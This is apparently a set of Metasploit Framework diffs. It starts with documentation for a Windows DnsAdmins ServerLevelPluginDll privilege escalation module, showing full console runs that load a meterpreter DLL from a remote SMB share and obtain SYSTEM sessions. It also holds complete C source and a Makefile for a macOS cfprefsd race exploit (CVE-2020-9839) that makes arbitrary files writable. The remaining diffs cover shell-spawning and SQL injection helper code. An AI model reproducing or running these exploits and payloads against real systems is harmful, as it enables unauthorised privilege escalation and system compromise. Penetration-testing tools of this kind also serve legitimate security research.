SESSION yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/meterpreter/reverse_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LHOST 172.17.168.195 yes The listen address (an interface may be specified)
|
||||
LPORT 4444 yes The listen port
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/bind_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set RHOST 172.17.169.123
|
||||
RHOST => 172.17.169.123
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 7788
|
||||
LPORT => 7788
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
|
||||
|
||||
[*] Checking service state...
|
||||
[*] Building DLL...
|
||||
[+] Wrote DLL to C:\Users\normal\AppData\Local\Temp\1\msf.dll!
|
||||
[*] Sleeping for 60 seconds to ensure the file wasn't caught by any AV...
|
||||
[+] Looks like our file wasn't caught by the AV.
|
||||
[!] Entering danger section...
|
||||
[*] Modifying ServerLevelPluginDll to point to C:\Users\normal\AppData\Local\Temp\1\msf.dll...
|
||||
[+] Registry property serverlevelplugindll successfully reset.
|
||||
[*] Restarting the DNS service...
|
||||
[*] Started bind TCP handler against 172.17.169.123:7788
|
||||
[*] Sending stage (200262 bytes) to 172.17.169.123
|
||||
[*] Meterpreter session 2 opened (0.0.0.0:0 -> 172.17.169.123:7788) at 2020-09-09 14:48:59 -0500
|
||||
|
||||
meterpreter >
|
||||
[+] Exited danger zone successfully!
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 2...
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions
|
||||
|
||||
Active sessions
|
||||
===============
|
||||
|
||||
Id Name Type Information Connection
|
||||
-- ---- ---- ----------- ----------
|
||||
1 meterpreter x64/windows RAPID7\normal @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:4444 (172.17.169.123)
|
||||
2 meterpreter x64/windows NT AUTHORITY\SYSTEM @ WIN-M5JU6L5RA9L 0.0.0.0:0 -> 172.17.169.123:7788 (172.17.169.123)
|
||||
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > sessions -i 2
|
||||
[*] Starting interaction with 2...
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-M5JU6L5RA9L
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : RAPID7
|
||||
Logged On Users : 12
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Server 2019 Standard x64, specifying a UNC path for ServerLevelPluginDll
|
||||
The easiest way to set this up is to Impacket's `smbserver`. You can find the source code for Impacket at https://github.com/SecureAuthCorp/impacket.
|
||||
Download the latest release and untar it, then `cd` into the new directory that is created. You should see a file named `setup.py`. Run the command
|
||||
`sudo python3 setup.py install` and it will install Impacket for you. Once this is done, navigate to the `examples` directory and follow the following steps:
|
||||
|
||||
```
|
||||
~/Desktop/impacket-0.9.21/examples sudo python3 smbserver.py -smb2support -ip 172.17.168.195 test /home/gwillcox/.msf4/local/
|
||||
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation
|
||||
|
||||
[*] Config file parsed
|
||||
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
|
||||
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
|
||||
[*] Config file parsed
|
||||
[*] Config file parsed
|
||||
[*] Config file parsed
|
||||
|
||||
```
|
||||
|
||||
This will create a SMBv2 server, listening on IP address 172.17.168.195, with a share named `test`, that will be sharing the contents of
|
||||
the directory at `/home/gwillcox/.msf4/local/`. Next, set `MAKEDLL` to `true` and run the module to generate the payload.
|
||||
|
||||
```
|
||||
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
|
||||
[*] Using configured payload windows/x64/meterpreter/bind_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
|
||||
SESSION => 3
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/bind_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
|
||||
LPORT => 6688
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
|
||||
DLLNAME => mp4.dll
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
|
||||
MAKEDLL => true
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
|
||||
|
||||
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
|
||||
DLLNAME mp4.dll yes DLL name (default: msf.dll)
|
||||
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
|
||||
MAKEDLL true yes Just create the DLL, do not exploit.
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/bind_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LPORT 6688 yes The listen port
|
||||
RHOST 172.17.169.123 no The target address
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
|
||||
|
||||
[*] Building DLL...
|
||||
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
|
||||
[*] Started bind TCP handler against 172.17.169.123:6688
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
|
||||
```
|
||||
|
||||
Once the DLL has been generated, one can proceed with the actual exploit:
|
||||
```
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL false
|
||||
MAKEDLL => false
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLPATH \\\\172.17.168.195\\test
|
||||
DLLPATH => \\172.17.168.195\test
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
|
||||
DLLNAME => mp4.dll
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
|
||||
|
||||
[*] Checking service state...
|
||||
[*] Using user-provided UNC path.
|
||||
[!] Entering danger section...
|
||||
[*] Modifying ServerLevelPluginDll to point to \\172.17.168.195\test\mp4.dll...
|
||||
[+] Registry property serverlevelplugindll successfully reset.
|
||||
[*] Restarting the DNS service...
|
||||
[*] Started bind TCP handler against 172.17.169.123:6688
|
||||
[*] Sending stage (200262 bytes) to 172.17.169.123
|
||||
[*] Meterpreter session 4 opened (0.0.0.0:0 -> 172.17.169.123:6688) at 2020-09-09 15:06:33 -0500
|
||||
|
||||
meterpreter > getuid
|
||||
Server username: NT AUTHORITY\SYSTEM
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-M5JU6L5RA9L
|
||||
OS : Windows 2016+ (10.0 Build 17763).
|
||||
Architecture : x64
|
||||
System Language : en_US
|
||||
Domain : RAPID7
|
||||
Logged On Users : 12
|
||||
Meterpreter : x64/windows
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### Windows Server 2019 Standard x64, just creating DLL
|
||||
```
|
||||
msf6 exploit(multi/handler) > use exploit/windows/local/dnsadmin_serverlevelplugindll
|
||||
[*] Using configured payload windows/x64/meterpreter/bind_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set SESSION 3
|
||||
SESSION => 3
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set PAYLOAD windows/x64/meterpreter/bind_tcp
|
||||
PAYLOAD => windows/x64/meterpreter/bind_tcp
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set LPORT 6688
|
||||
LPORT => 6688
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set DLLNAME mp4.dll
|
||||
DLLNAME => mp4.dll
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > set MAKEDLL true
|
||||
MAKEDLL => true
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > show options
|
||||
|
||||
Module options (exploit/windows/local/dnsadmin_serverlevelplugindll):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
AVTIMEOUT 60 yes Time to wait for AV to potentially notice the DLL file we dropped, in seconds.
|
||||
DLLNAME mp4.dll yes DLL name (default: msf.dll)
|
||||
DLLPATH %TEMP% yes Path to DLL. Can be a UNC path. (default: %TEMP%)
|
||||
MAKEDLL true yes Just create the DLL, do not exploit.
|
||||
SESSION 3 yes The session to run this module on.
|
||||
|
||||
|
||||
Payload options (windows/x64/meterpreter/bind_tcp):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
EXITFUNC thread yes Exit technique (Accepted: '', seh, thread, process, none)
|
||||
LPORT 6688 yes The listen port
|
||||
RHOST 172.17.169.123 no The target address
|
||||
|
||||
|
||||
Exploit target:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Automatic
|
||||
|
||||
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) > exploit
|
||||
|
||||
[*] Building DLL...
|
||||
[+] mp4.dll stored at /home/gwillcox/.msf4/local/mp4.dll
|
||||
[*] Started bind TCP handler against 172.17.169.123:6688
|
||||
[*] Exploit completed, but no session was created.
|
||||
msf6 exploit(windows/local/dnsadmin_serverlevelplugindll) >
|
||||
```
|
||||
|
||||
## Notes
|
||||
1. This module is not particularly opsec-safe as it drops a DLL to disk, writes to
|
||||
the registry, and is sure to generate a ton of event logs when the DNS service is
|
||||
stopped and restarted..
|
||||
2. Automatic cleanup of the dropped DLL is attempted if the DLL has been written to
|
||||
disk, but if automatic cleanup fails manual cleanup may be necessary.
|
||||
@@ -2,7 +2,8 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module will attempt to enumerate which patches are applied to a
|
||||
windows system based on the result of the WMI query: `SELECT HotFixID FROM Win32_QuickFixEngineering`.
|
||||
Windows system, as well as on which date they were applied, based on
|
||||
the result of the WMI query `SELECT HotFixID, InstalledOn FROM Win32_QuickFixEngineering`.
|
||||
|
||||
## Verification Steps
|
||||
|
||||
@@ -28,37 +29,31 @@
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 7 (6.1 Build 7601, Service Pack 1).
|
||||
### Windows 10 x64 v1909
|
||||
|
||||
```
|
||||
[*] Meterpreter session 1 opened (192.168.1.3:4444 -> 192.168.1.10:49223) at 2019-12-14 08:37:46 -0700
|
||||
msf6 exploit(multi/handler) > use post/windows/gather/enum_patches
|
||||
msf6 post(windows/gather/enum_patches) > show options
|
||||
|
||||
msf > use post/windows/gather/enum_patches
|
||||
msf post(windows/gather/enum_patches) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf post(windows/gather/enum_patches) > run
|
||||
[-] Known bug in WMI query, try migrating to another process
|
||||
[*] Post module execution completed
|
||||
msf post(windows/gather/enum_patches) > sessions 1
|
||||
[*] Starting interaction with 1...
|
||||
meterpreter > run post/windows/manage/migrate
|
||||
Module options (post/windows/gather/enum_patches):
|
||||
|
||||
[*] Running module against TEST-PC
|
||||
[*] Current server process: Explorer.EXE (1908)
|
||||
[*] Spawning notepad.exe process to migrate to
|
||||
[+] Migrating to 3992
|
||||
[+] Successfully migrated to process 3992
|
||||
meterpreter > background
|
||||
[*] Backgrounding session 1...
|
||||
msf post(windows/gather/enum_patches) > run
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
SESSION yes The session to run this module on.
|
||||
|
||||
[+] KB2871997 is missing
|
||||
[+] KB2928120 is missing
|
||||
[+] KB977165 - Possibly vulnerable to MS10-015 kitrap0d if Windows 2K SP4 - Windows 7 (x86)
|
||||
[+] KB2305420 - Possibly vulnerable to MS10-092 schelevator if Vista, 7, and 2008
|
||||
[+] KB2592799 - Possibly vulnerable to MS11-080 afdjoinleaf if XP SP2/SP3 Win 2k3 SP2
|
||||
[+] KB2778930 - Possibly vulnerable to MS13-005 hwnd_broadcast, elevates from Low to Medium integrity
|
||||
[+] KB2850851 - Possibly vulnerable to MS13-053 schlamperei if x86 Win7 SP0/SP1
|
||||
[+] KB2870008 - Possibly vulnerable to MS13-081 track_popup_menu if x86 Windows 7 SP0/SP1
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_patches) > set SESSION 1
|
||||
SESSION => 1
|
||||
msf6 post(windows/gather/enum_patches) > run
|
||||
|
||||
[*] Patch list saved to /home/gwillcox/.msf4/loot/20200902125729_default_172.29.215.21_enum_patches_495652.txt
|
||||
[+] KB4569751 installed on 8/17/2020
|
||||
[+] KB4497165 installed on 8/17/2020
|
||||
[+] KB4517245 installed on 4/10/2020
|
||||
[+] KB4537759 installed on 4/10/2020
|
||||
[+] KB4552152 installed on 4/10/2020
|
||||
[+] KB4561600 installed on 8/17/2020
|
||||
[+] KB4569073 installed on 8/17/2020
|
||||
[+] KB4565351 installed on 8/17/2020
|
||||
[*] Post module execution completed
|
||||
msf6 post(windows/gather/enum_patches) >
|
||||
```
|
||||
|
||||
+15
@@ -0,0 +1,15 @@
|
||||
TARGET := exploit
|
||||
|
||||
all: $(TARGET)
|
||||
|
||||
$(TARGET): exploit.m
|
||||
$(CC) -o $@ $^
|
||||
|
||||
clean:
|
||||
rm -f $(TARGET)
|
||||
|
||||
install:
|
||||
mkdir -p ../../../../data/exploits/CVE-2020-9839/
|
||||
cp $(TARGET) ../../../../data/exploits/CVE-2020-9839/exploit
|
||||
|
||||
.PHONY: all clean
|
||||
+129
@@ -0,0 +1,129 @@
|
||||
#include <sandbox.h>
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
#include <string.h>
|
||||
#include <unistd.h>
|
||||
#include <mach/mach.h>
|
||||
#include <xpc/xpc.h>
|
||||
#include <pthread.h>
|
||||
|
||||
char *TARGET;
|
||||
char *WRITABLE;
|
||||
char *USER;
|
||||
|
||||
const int COUNT = 10000;
|
||||
int status = 0;
|
||||
bool pwned = false;
|
||||
|
||||
void *race(void *arg) {
|
||||
while(!pwned) {
|
||||
symlink(TARGET, "!");
|
||||
unlink("!/a.plist");
|
||||
rmdir("!");
|
||||
unlink("!");
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
void exploit() {
|
||||
char *serviceName = "com.apple.cfprefsd.daemon";
|
||||
status = 0;
|
||||
|
||||
xpc_connection_t conn;
|
||||
xpc_object_t msg;
|
||||
|
||||
conn = xpc_connection_create_mach_service(serviceName, NULL, 0);
|
||||
if (conn == NULL) {
|
||||
perror("xpc_connection_create_mach_service");
|
||||
return;
|
||||
}
|
||||
|
||||
xpc_connection_set_event_handler(conn, ^(xpc_object_t obj) {
|
||||
status++;
|
||||
});
|
||||
|
||||
xpc_connection_resume(conn);
|
||||
|
||||
msg = xpc_dictionary_create(NULL, NULL, 0);
|
||||
xpc_dictionary_set_int64(msg, "CFPreferencesOperation", 1);
|
||||
xpc_dictionary_set_string(msg, "CFPreferencesUser", USER);
|
||||
char writable_subpath[0x1000];
|
||||
sprintf(writable_subpath, "%s%s", WRITABLE, "/!/a.plist");
|
||||
xpc_dictionary_set_string(msg, "CFPreferencesDomain", writable_subpath);
|
||||
xpc_dictionary_set_bool(msg, "CFPreferencesUseCorrectOwner", true);
|
||||
xpc_dictionary_set_bool(msg, "CFPreferencesAvoidCache", true);
|
||||
xpc_dictionary_set_string(msg, "Key", "key");
|
||||
xpc_dictionary_set_string(msg, "Value", "value");
|
||||
|
||||
for(int i = 0; i < COUNT; i++) {
|
||||
xpc_connection_send_message(conn, msg);
|
||||
}
|
||||
|
||||
while(status < COUNT) {
|
||||
usleep(100000);
|
||||
}
|
||||
}
|
||||
|
||||
void *pwn(void *arg) {
|
||||
while(1) {
|
||||
int testaccess = access(TARGET, W_OK);
|
||||
if(!testaccess) {
|
||||
printf("pwned! %s is now writable!\n", TARGET);
|
||||
pwned = true;
|
||||
break;
|
||||
} else {
|
||||
perror("access");
|
||||
}
|
||||
usleep(1000000);
|
||||
}
|
||||
|
||||
return NULL;
|
||||
}
|
||||
|
||||
static void
|
||||
connection_handler(xpc_connection_t peer)
|
||||
{
|
||||
xpc_connection_set_event_handler(peer, ^(xpc_object_t event) {
|
||||
printf("Message received: %p\n", event);
|
||||
});
|
||||
|
||||
xpc_connection_resume(peer);
|
||||
}
|
||||
|
||||
void make_writable(char * target) {
|
||||
struct passwd *pw = getpwuid(getuid());
|
||||
if(!pw) {
|
||||
perror("getpwuid");
|
||||
exit(1);
|
||||
}
|
||||
|
||||
WRITABLE = pw->pw_dir;
|
||||
USER = pw->pw_name;
|
||||
TARGET = target;
|
||||
|
||||
setvbuf(stdout, 0, 2, 0);
|
||||
chdir(WRITABLE);
|
||||
|
||||
pthread_t thread[2];
|
||||
pthread_create(&thread[0], NULL, race, NULL);
|
||||
pthread_create(&thread[1], NULL, pwn, NULL);
|
||||
while(!pwned) {
|
||||
printf("Trying %d calls...\n", COUNT);
|
||||
exploit();
|
||||
}
|
||||
unlink("!/a.plist");
|
||||
rmdir("!");
|
||||
unlink("!");
|
||||
}
|
||||
|
||||
int main(int argc, char *argv[]) {
|
||||
if (argc < 2) {
|
||||
printf("Usage: %s /file/to/make/writable\n", argv[0]);
|
||||
return -1;
|
||||
}
|
||||
make_writable(argv[1]);
|
||||
return 0;
|
||||
}
|
||||
|
||||
@@ -30,7 +30,7 @@ module Metasploit
|
||||
end
|
||||
end
|
||||
|
||||
VERSION = "6.0.3"
|
||||
VERSION = "6.0.5"
|
||||
MAJOR, MINOR, PATCH = VERSION.split('.').map { |x| x.to_i }
|
||||
PRERELEASE = 'dev'
|
||||
HASH = get_hash
|
||||
|
||||
@@ -258,9 +258,9 @@ class CommandShell
|
||||
def cmd_shell_help()
|
||||
print_line('Usage: shell')
|
||||
print_line
|
||||
print_line('Pop up an interactive shell via multi methods.')
|
||||
print_line('Pop up an interactive shell via multiple methods.')
|
||||
print_line('An interactive shell means that you can use several useful commands like `passwd`, `su [username]`')
|
||||
print_line('There are three implementation of it: ')
|
||||
print_line('There are four implementations of it: ')
|
||||
print_line('\t1. using python `pty` module (default choice)')
|
||||
print_line('\t2. using `socat` command')
|
||||
print_line('\t3. using `script` command')
|
||||
@@ -274,17 +274,13 @@ class CommandShell
|
||||
return cmd_sessions_help
|
||||
end
|
||||
|
||||
# Why `/bin/sh` not `/bin/bash`, some machine may not have `/bin/bash` installed, just in case.
|
||||
# 1. Using python
|
||||
# 1.1 Check Python installed or not
|
||||
# We do not need to care about the python version
|
||||
# Beacuse python2 and python3 have the same payload of spawn a shell
|
||||
python_path = binary_exists("python")
|
||||
python_path = binary_exists("python") || binary_exists("python3")
|
||||
if python_path != nil
|
||||
# Payload: import pty;pty.spawn('/bin/sh')
|
||||
# Base64 encoded payload: aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==
|
||||
print_status("Using `python` to pop up an interactive shell")
|
||||
shell_command("#{python_path} -c 'exec(\"aW1wb3J0IHB0eTtwdHkuc3Bhd24oJy9iaW4vc2gnKQ==\".decode(\"base64\"))'")
|
||||
# Ideally use bash for a friendlier shell, but fall back to /bin/sh if it doesn't exist
|
||||
shell_path = binary_exists("bash") || '/bin/sh'
|
||||
shell_command("#{python_path} -c \"#{ Msf::Payload::Python.create_exec_stub("import pty; pty.spawn('#{shell_path}')") } \"")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -324,7 +320,7 @@ class CommandShell
|
||||
def binary_exists(binary)
|
||||
print_status("Trying to find binary(#{binary}) on target machine")
|
||||
binary_path = shell_command_token("which #{binary}").to_s.strip
|
||||
if binary_path.eql?("#{binary} not found")
|
||||
if binary_path.eql?("#{binary} not found") || binary_path == ""
|
||||
print_error(binary_path)
|
||||
return nil
|
||||
else
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
require 'rex/socket/ssl'
|
||||
require 'faker'
|
||||
|
||||
module Msf
|
||||
module Ssl
|
||||
module CertProvider
|
||||
autoload :Faker, 'faker'
|
||||
|
||||
def self.rand_vars(opts = {})
|
||||
opts ||= {}
|
||||
|
||||
@@ -3,9 +3,9 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
# XXX: This function is stupidly long. It needs to be refactored.
|
||||
def import_msf_collateral(args={}, &block)
|
||||
data = ::File.open(args[:filename], "rb") {|f| f.read(f.stat.size)}
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)
|
||||
args = args.clone()
|
||||
args.detele(:workspace)
|
||||
args.delete(:workspace)
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
basedir = args[:basedir] || args['basedir'] || ::File.join(Msf::Config.data_directory, "msf")
|
||||
|
||||
@@ -59,7 +59,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
return 0 if bl.include? host_info[loot.at("host-id").text.to_s.strip]
|
||||
loot_info = {}
|
||||
loot_info[:host] = host_info[loot.at("host-id").text.to_s.strip]
|
||||
loot_info[:workspace] = args[:workspace]
|
||||
loot_info[:workspace] = wspace
|
||||
loot_info[:ctype] = nils_for_nulls(loot.at("content-type").text.to_s.strip)
|
||||
loot_info[:info] = nils_for_nulls(unserialize_object(loot.at("info"), allow_yaml))
|
||||
loot_info[:ltype] = nils_for_nulls(loot.at("ltype").text.to_s.strip)
|
||||
@@ -104,7 +104,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
# Parses task Nokogiri::XML::Element
|
||||
def parse_zip_task(task, wspace, bl, allow_yaml, btag, args, basedir, host_info, &block)
|
||||
task_info = {}
|
||||
task_info[:workspace] = args[:workspace]
|
||||
task_info[:workspace] = wspace
|
||||
# Should user be imported (original) or declared (the importing user)?
|
||||
task_info[:user] = nils_for_nulls(task.at("created-by").text.to_s.strip)
|
||||
task_info[:desc] = nils_for_nulls(task.at("description").text.to_s.strip)
|
||||
@@ -165,7 +165,7 @@ module Msf::DBManager::Import::MetasploitFramework::Zip
|
||||
# XXX: Refactor so it's not quite as sanity-blasting.
|
||||
def import_msf_zip(args={}, &block)
|
||||
data = args[:data]
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework).name
|
||||
wspace = Msf::Util::DBManager.process_opts_workspace(args, framework)
|
||||
bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : []
|
||||
|
||||
new_tmp = ::File.join(Dir::tmpdir,"msf","imp_#{Rex::Text::rand_text_alphanumeric(4)}",@import_filedata[:zip_basename])
|
||||
|
||||
@@ -97,9 +97,11 @@ module Msf
|
||||
#
|
||||
# @param (see Exploit::Remote::Tcp#connect)
|
||||
# @return (see Exploit::Remote::Tcp#connect)
|
||||
def connect(global=true, versions: [])
|
||||
def connect(global=true, versions: [], backend: nil)
|
||||
if versions.nil? || versions.empty?
|
||||
versions = datastore['SMB::ProtocolVersion'].split(',').map(&:to_i)
|
||||
# if the user explicitly set the protocol version to 1, still use ruby_smb
|
||||
backend ||= :ruby_smb if versions == [1]
|
||||
end
|
||||
|
||||
disconnect() if global
|
||||
@@ -114,7 +116,7 @@ module Msf
|
||||
direct = false
|
||||
end
|
||||
|
||||
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'])
|
||||
c = Rex::Proto::SMB::SimpleClient.new(s, direct, versions, always_encrypt: datastore['SMB::AlwaysEncrypt'], backend: backend)
|
||||
|
||||
# setup pipe evasion foo
|
||||
if datastore['SMB::pipe_evasion']
|
||||
|
||||
@@ -1,13 +1,14 @@
|
||||
#
|
||||
# This mixin provides helpers to perform SQL injection
|
||||
# - provides a level of abstraction for common queries, for example, querying the table names
|
||||
# - implements blind and time-based SQL injection in a reusable manner
|
||||
# - Highly extendable (user can run any code to perform the requests, encode payloads and parse results)
|
||||
#
|
||||
require 'msf/core/exploit/sqli/common'
|
||||
require 'msf/core/exploit/sqli/sqlitei'
|
||||
require 'msf/core/exploit/sqli/mysqli'
|
||||
|
||||
module Msf
|
||||
#
|
||||
# This mixin provides helpers to perform SQL injection
|
||||
# - provides a level of abstraction for common queries, for example, querying the table names
|
||||
# - implements blind and time-based SQL injection in a reusable manner
|
||||
# - Highly extendable (user can run any code to perform the requests, encode payloads and parse results)
|
||||
#
|
||||
module Exploit::SQLi
|
||||
def initialize(info = {})
|
||||
super
|
||||
@@ -18,6 +19,13 @@ module Msf
|
||||
)
|
||||
end
|
||||
|
||||
#
|
||||
# Creates an SQL injection object, this is the method module writers should use
|
||||
# @param dbms [Class] The SQL injection class you intend to use
|
||||
# @param opts [Hash] The options to use with this SQL injection
|
||||
# @param query_proc [Proc] The proc that takes an SQL payload as a parameter, and queries the server
|
||||
# @return [Object] an instance of dbms
|
||||
#
|
||||
def create_sqli(dbms:, opts: {}, &query_proc)
|
||||
raise ArgumentError, 'Invalid dbms class' unless dbms.is_a?(Class) && dbms.ancestors.include?(Msf::Exploit::SQLi::Common)
|
||||
|
||||
|
||||
@@ -5,8 +5,11 @@ module Msf::Exploit::SQLi
|
||||
include Msf::Module::UI
|
||||
|
||||
#
|
||||
# Creates an instance of an SQL Injection object, instantiate directly only if you don't know the DBMS in use
|
||||
# Creates an instance of an SQL Injection object, users should use the create_dbms method of Msf::Exploit::SQLi instead
|
||||
#
|
||||
# @param datastore [DataStore]
|
||||
# @param framework [Framework]
|
||||
# @param user_output [Rex::Ui::Text::Output::Stdio]
|
||||
# @param opts [Hash] a dictionnary containing the parameters needed
|
||||
# @option opts [Integer] truncation_length : [Optional] The number of characters returned, if the query result is truncated
|
||||
# @option opts [String] concat_separator : [Optional] The separator to use when concatenating rows (default ',')
|
||||
@@ -15,7 +18,7 @@ module Msf::Exploit::SQLi
|
||||
# @option opts [String] null_replacement : a string that will replace NULL values
|
||||
# @option opts [Boolean] hex_encode_strings : encode strings as hex numbers, no quotes in the payload
|
||||
# @option opts [Object] an encoder name, or a hash specifying a custom encoder, see Encoders in DBMS-specific classes
|
||||
# @param query_proc is a block that will receive the payload, and should send the request to the target,
|
||||
# @param query_proc [Proc] a block that will receive the payload, and should send the request to the target,
|
||||
# - if it's a regular SQL injection, it should return the part of the response that is the query result (one row)
|
||||
# - if it's a boolean-based blind SQL injection, it should return `true`, `false`, or a value that evaluates to one of them
|
||||
# `true` if the query returned a result, false otherwise
|
||||
@@ -45,7 +48,7 @@ module Msf::Exploit::SQLi
|
||||
# run multiple queries for that purpose), not to be overriden, it is guaranteed that the query
|
||||
# will run only once.
|
||||
# @param query [String] The SQL query to execute
|
||||
# @return [String] The query results if any, ignore it if you don't expect output
|
||||
# @return [void]
|
||||
#
|
||||
def raw_run_sql(query)
|
||||
vprint_status "{SQLi} Executing (#{query})"
|
||||
@@ -74,6 +77,8 @@ module Msf::Exploit::SQLi
|
||||
|
||||
#
|
||||
# This method checks that the required options are present, and have valid values
|
||||
# @param opts [Hash] the options provided by the user
|
||||
# @return [void]
|
||||
#
|
||||
def check_opts(opts)
|
||||
raise ArgumentError, 'null_replacement option cannot contain single quotes' if opts[:null_replacement] && opts[:null_replacement].include?("'")
|
||||
|
||||
@@ -1,57 +1,19 @@
|
||||
require 'msf/core/exploit/sqli/utils/boolean_based_blind'
|
||||
|
||||
#
|
||||
# Boolean-Based Blind SQL injection support for MySQL
|
||||
# Boolean-Based Blind SQL injection support for MySQL/MariaDB
|
||||
#
|
||||
class Msf::Exploit::SQLi::MySQLi::BooleanBasedBlind < Msf::Exploit::SQLi::MySQLi::Common
|
||||
def initialize(datastore, framework, user_output, opts = {}, &query_proc)
|
||||
super
|
||||
end
|
||||
|
||||
#
|
||||
# Gets the output of the given SQL query, in a boolean-based blind manner.
|
||||
# The block given to initialize must return true if querying its parameter
|
||||
# gave a result, false otherwise.
|
||||
# @param query [String] The SQL query to execute
|
||||
# @param output_charset [Range] The range of characters to expect in the output, optional
|
||||
# can improve performance a lot, as fewer bits need to be guessed on each character.
|
||||
# example : ('0' .. '9') if you know the output of your query contains only numeric characters
|
||||
# @return [String] The query results
|
||||
#
|
||||
def run_sql(query, output_charset: nil)
|
||||
if output_charset.is_a?(Range) && output_charset.count > 0
|
||||
known_bits, bits_to_guess = get_bitmask(output_charset)
|
||||
else
|
||||
known_bits = 0
|
||||
bits_to_guess = 8
|
||||
end
|
||||
vprint_status "{SQLi} Executing (#{query})"
|
||||
if @hex_encode_strings
|
||||
query = hex_encode_strings(query)
|
||||
vprint_status "{SQLi} Encoded to (#{query})"
|
||||
